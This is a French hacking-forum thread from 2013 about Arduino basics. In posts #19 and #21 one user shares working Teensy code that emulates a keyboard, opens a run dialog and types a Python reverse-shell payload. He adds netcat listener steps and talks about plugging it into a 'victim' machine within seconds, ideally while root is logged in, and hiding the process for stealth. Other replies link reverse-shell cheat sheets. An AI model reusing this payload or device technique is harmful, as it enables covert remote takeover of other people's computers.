• STATISTIQUES
  • Il y a eu un total de 4 membres et 6674 visiteurs sur le site dans les dernières 24h pour un total de 6 678 personnes!


    Membres: 2 608
    Discussions: 3 580
    Messages: 32 820
    Tutoriels: 78
    Téléchargements: 38
    Sites dans l'annuaire: 58


  • ANNUAIRE
  • [FR] Root-Me
    Notre équipe se base sur un constat : à l'heure actuelle ou l'information tend à devenir...
    Hacking
    [EN] CS Tutoring Center
    Site de challenge spécialisé dans les challenges de programmation C++ et java cependant, d'autres langages pe...
    Challenges
    [EN] osix
    Site de challenge qui utilise un système de level on chaque épreuve doit être réussie avant d'accédÃ...
    Challenges
    [EN] Packet Storm
    Packet Storm est un site qui combine nouvelles de la sécurité informatique, téléchargemen...
    Vulnérabilités
    [EN] Rankk
    Site de challenge construit sur le principe d'une pyramide à 9 level. Level 1: 60,Level 2: 72,Level 3: 68,Lev...
    Challenges
    [FR] Infomirmo
    Challenge présenté sous la forme de 6 niveaux de difficultés diverses et variées avec chacun plusieurs chall...
    Challenges
    [FR] Forum-Webmaster
    Une communauté webmaster pour apporter / recevoir de l'aide en création de site internet. Webmaster...
    Webmaster

  • DONATION
  • Si vous avez trouvé ce site internet utile, nous vous invitons à nous faire un don du montant de votre choix via Paypal. Ce don servira à financer notre hébergement.

    MERCI!

    €



Note de ce sujet :
  • Moyenne : 5 (1 vote(s))
  • 1
  • 2
  • 3
  • 4
  • 5
[Arduino] Les bases
04-06-2013, 12h28
Message : #16
Zen
Non-enregistré



 
RE: [Arduino] Les bases
Salut j'ajoute a ton poste ce pdf super interressant croyez-moi Smile
edit:https://www.dropbox.com/s/b3437b5hnjq6oq...mation.pdf
positive (0) negative (0) Répondre
04-06-2013, 12h33
Message : #17
Machin Hors ligne
Membre actif
*



Messages : 60
Sujets : 1
Points: 16
Inscription : Apr 2013
RE: [Arduino] Les bases
(04-06-2013, 12h28)Zen a écrit : Salut j'ajoute a ton poste ce pdf super interressant croyez-moi Smile
https://dl-web.dropbox.com/get/zen/51560...6b3eZWtg8w

Erreur 403, on ne peut pas le recup
+1 (0) -1 (0) Répondre
08-07-2013, 11h15 (Modification du message : 08-07-2013, 11h16 par titi951.)
Message : #18
titi951 Hors ligne
Newbie
*



Messages : 10
Sujets : 1
Points: 0
Inscription : Aug 2012
RE: [Arduino] Les bases
Ce PDF est issu d'un tutoriel du site du zéro, Zen, il me semble.
Si c'est le cas, vous pouvez le consulter sur ce site.

Sinon, je fait de la prog' Arduino depuis 1 mois, et je suis plutôt content des possibilités.
Même sans Shields.

PS : Désolé du UP.
+1 (0) -1 (0) Répondre
29-10-2013, 15h36 (Modification du message : 29-10-2013, 17h46 par JL_N_.)
Message : #19
JL_N_ Hors ligne
Newbie
*



Messages : 12
Sujets : 2
Points: 0
Inscription : Aug 2013
RE: [Arduino] Les bases
Je partage un code pour arduino.

J'ai programmé ceci sur un teensy 3.0 mais il est également fonctionnel pour un teensy 2.0 2.0++.

Ce code est un reverse shell (en python, mais vous pouvez l'adapter à vos besoins) http://pentestmonkey.net/cheat-sheet/she...heat-sheet.

Pour le tester :

Citation :nc -l 11000 -vvv

Changer l'ip (127.0.0.1)
Compiler
Uploader
Puis insérer le teensy dans la machine. Un shell apparait sur la machine qui était en écoute.

Code :
#define ATTACK_PAYLOAD "/bin/sh -c \"rm fifo;mkfifo fifo; python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\"127.0.0.1\\\",11000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\\\"/bin/sh\\\"]);' <fifo|bash > fifo & \""

void setup() {
    delay(10000);
    launch_exec(ATTACK_PAYLOAD);
}

void loop() {
    
}

void launch_exec(char *cmd){
  Keyboard.set_modifier(MODIFIERKEY_ALT);
  Keyboard.set_key1(KEY_F2);
  Keyboard.send_now();

  Keyboard.set_modifier(0);
  Keyboard.set_key1(0);
  Keyboard.send_now();

  delay(1500);
  
  Keyboard.print(cmd);
  Keyboard.set_key1(KEY_ENTER);
  Keyboard.send_now();

  Keyboard.set_key1(0);
  Keyboard.send_now();
}

Enjoy
+1 (0) -1 (0) Répondre
29-10-2013, 16h09 (Modification du message : 29-10-2013, 16h09 par Kiwazaru.)
Message : #20
Kiwazaru Hors ligne
Padawan d'un super escargot
*



Messages : 284
Sujets : 26
Points: 139
Inscription : Mar 2012
RE: [Arduino] Les bases
JL_N_: Je comprends pas bien le but de ton code, tu pourrais expliquer un peu plus ? Smile
Toucher au Kernel, c'est un peut comme se shooter au LSD, on pense pouvoir tout faire mais ça finit souvent mal.
+1 (0) -1 (0) Répondre
29-10-2013, 17h27 (Modification du message : 29-10-2013, 17h38 par JL_N_.)
Message : #21
JL_N_ Hors ligne
Newbie
*



Messages : 12
Sujets : 2
Points: 0
Inscription : Aug 2013
RE: [Arduino] Les bases
@Reverse: Le teensy permet d'envoyer des commandes automatiquement comme si un utilisateur tapait sur son clavier. De ce fait lorsque je branche le teensy sur le pc de la victime une série de commande est envoyée automatiquement ( pratique quand tu as 10 sec seulement ).

Je t'invite a réalise cette manipulation sous linux , c'est ce qui est réalisé par le petit bout de code ci-dessus:
- Lance dans un terminal nc -l 11000 -vvv
- tape ALT + F2
- Entre ceci /bin/sh -c "rm fifo;mkfifo fifo; python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connec​t((\"127.0.0.1\",11000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\"]);' <fifo|bash > fifo & "
- Revient dans le premier terminal et tape ls ~ (tu as un shell sur la victime, ici toi même, mais ça marche en réseau Wink )

Libre à toi de faire ce que tu veux ensuite, le top est si il a branché le teensy et qu'il était logger en tant que root Wink
A noter: que le payload est en python parce que mon collègue avait pas netcat -_-
Le "fifo" est pour la furtivité (lancement d'un process en tâche de fond). On peut imaginer pleins de techniques ici (rootkit ...)
+1 (0) -1 (0) Répondre
29-10-2013, 17h40
Message : #22
Creepy_p0ney Hors ligne
chef des poneys voodoo
*



Messages : 146
Sujets : 9
Points: 24
Inscription : Dec 2011
RE: [Arduino] Les bases
Il y avait un article similaire sur korben ya pas longtemps, une clé USB en forme de canard qui se fait passer pour un clavier http://n-pn.fr/forum/showthread.php?tid=3362
Penser que coder est coder explique-t-il la recursion ?
http://p0neyland.wordpress.com/
+1 (0) -1 (0) Répondre
29-10-2013, 18h30
Message : #23
JL_N_ Hors ligne
Newbie
*



Messages : 12
Sujets : 2
Points: 0
Inscription : Aug 2013
RE: [Arduino] Les bases
@Creepy_p0ney : Oui, c'est exactement sa

Pour information ça coute 29$ avec frais de port. Et ca se prend en main en 3h00 - 4h00.
http://www.pjrc.com/teensy/
+1 (0) -1 (0) Répondre
29-10-2013, 19h56
Message : #24
Kiwazaru Hors ligne
Padawan d'un super escargot
*



Messages : 284
Sujets : 26
Points: 139
Inscription : Mar 2012
RE: [Arduino] Les bases
Donc si je pige bien, tu fou ça sur un PC et ensuite tu peux y avoir accès via un autre pc sur le réseau c'est ça?
Toucher au Kernel, c'est un peut comme se shooter au LSD, on pense pouvoir tout faire mais ça finit souvent mal.
+1 (0) -1 (0) Répondre
29-10-2013, 20h35 (Modification du message : 30-10-2013, 18h42 par Loup.)
Message : #25
Loup Hors ligne
Membre actif
*



Messages : 85
Sujets : 8
Points: 8
Inscription : Sep 2013
RE: [Arduino] Les bases
(29-10-2013, 19h56)ReVeRse a écrit : Donc si je pige bien, tu fou ça sur un PC et ensuite tu peux y avoir accès via un autre pc sur le réseau c'est ça?
Oui c'est le principe d'un reverse shell:
http://www.asafety.fr/vuln-exploit-poc/p...ne/#Python

Après tu n'es pas obligé d'être sur le réseau local mais ça devient tout de suite plus difficile Smile (edit: ou pas)
+1 (0) -1 (0) Répondre


Sujets apparemment similaires…
Sujet Auteur Réponses Affichages Dernier message
  Domotique en Arduino/Raspberry badTasTe 16 669 10-01-2014, 01h19
Dernier message: badTasTe
  ARDUINO/Raspberry : les inventions notfound 3 261 26-03-2013, 22h13
Dernier message: -Mat-
  Arduino : buzzer et photorésistances! Dobry 1 153 12-03-2013, 17h14
Dernier message: Swissky
  Arduino : Faites briller des LEDs Dobry 3 286 14-12-2012, 17h39
Dernier message: Dobry
  Arduino : cartes électroniques Open Source artis 5 251 24-08-2011, 03h13
Dernier message: datareaver

Atteindre :


Utilisateur(s) parcourant ce sujet : 1 visiteur(s)
N-PN
Accueil | Challenges | Tutoriels | Téléchargements | Forum | Retourner en haut